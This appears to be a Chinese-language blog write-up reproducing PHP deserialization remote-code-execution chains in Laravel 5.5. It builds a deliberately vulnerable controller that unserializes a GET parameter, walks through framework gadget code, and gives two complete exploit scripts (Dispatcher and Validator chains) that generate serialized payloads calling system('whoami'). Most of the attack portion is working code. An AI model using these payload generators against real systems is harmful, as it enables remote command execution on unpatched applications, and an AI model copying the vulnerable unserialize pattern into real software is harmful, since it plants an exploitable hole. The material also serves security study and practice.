环境安装
composer create-project --prefer-dist laravel/laravel blog "5.5.*"
添加路由
route/web.phpRoute::get('/seri', "seriController@seri");
添加控制器
app/Http/Controllers/SeriController.php
<?php
namespace App\Http\Controllers;
class SeriController extends Controller{
public function seri(){
if(isset($_GET['code'])){
$code = $_GET['code'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Laravel 5.5";
}
}
?>
漏洞复现
链子一
全局搜索 __destruct()
同样还是 /vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
了解我们知道为啥用这个入口:这是因为这里的两个参数都可控,我们有两个利用方式
第一是寻找可利用的 __call 方法
第二是是去掉调用任意类的 dispath()方法
全局搜搜 dispath 方法
/vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php
public function dispatch($event, $payload = [], $halt = false)
{
// When the given "event" is actually an object we will assume it is an event
// object and use the class as the event name and this event itself as the
// payload to the handler, which makes object based events quite simple.
list($event, $payload) = $this->parseEventAndPayload(
$event, $payload
);
...
foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);
这里的几个属性如果都可控,那么可能就可以进行命令执行
首先这里的 $event 是从 __destruct 方法调用进来的,所以属于我们可控的
接着我们跟进去看看 getListeners方法
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];
$listeners = array_merge(
$listeners, $this->getWildcardListeners($eventName)
);
return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}
这里我们知道了,我们可控的参数 $this->listeners[] 为一个数组,而参数 $eventName 就是我们传输进来的 $event(也就是 $this->event)
所以这里默认结果是返回 $listeners
接着我们看到了 dispatch方法中进行了 foreach as 操作
这里我们控制了 $this->getListeners($event) 的值,也就控制了 $listener
我们可以令它为 call_user_func 或者 system 等值,就可以控制进行命令执行了
给一张网上找的攻击流程图
exp1
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $parameter)
{
$this->events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo (serialize($a));
}
链子二
同样我们是这个 destruct 入口
我们寻找 call 魔术方法
/vendor/laravel/framework/src/Illuminate/Support/Manager.php
这个链子5.4也存在
不打了
链子三
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
throw new BadMethodCallException("Method [$method] does not exist.");
}
这里的 $this->extensions[$rule] 是可控的
跟进 callExtension方法
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}
$callback 由 $this->extensions[$rule] 控制
$parameters 就是 call 中的 $parameters ,即 destruct 中的 $this->event
都属于可控的
我们需要去满足 if (isset($this->extensions[$rule])) 就可以进行rce了
$rule 的值 为 “”
因此只要我们设置为 “”
就可以进入 if 中
exp3
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions;
function __construct($function)
{
$this->extensions = [
'' => $function
];
}
}
}
namespace{
$b = new Illuminate\Validation\Validator('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo (serialize($a));
}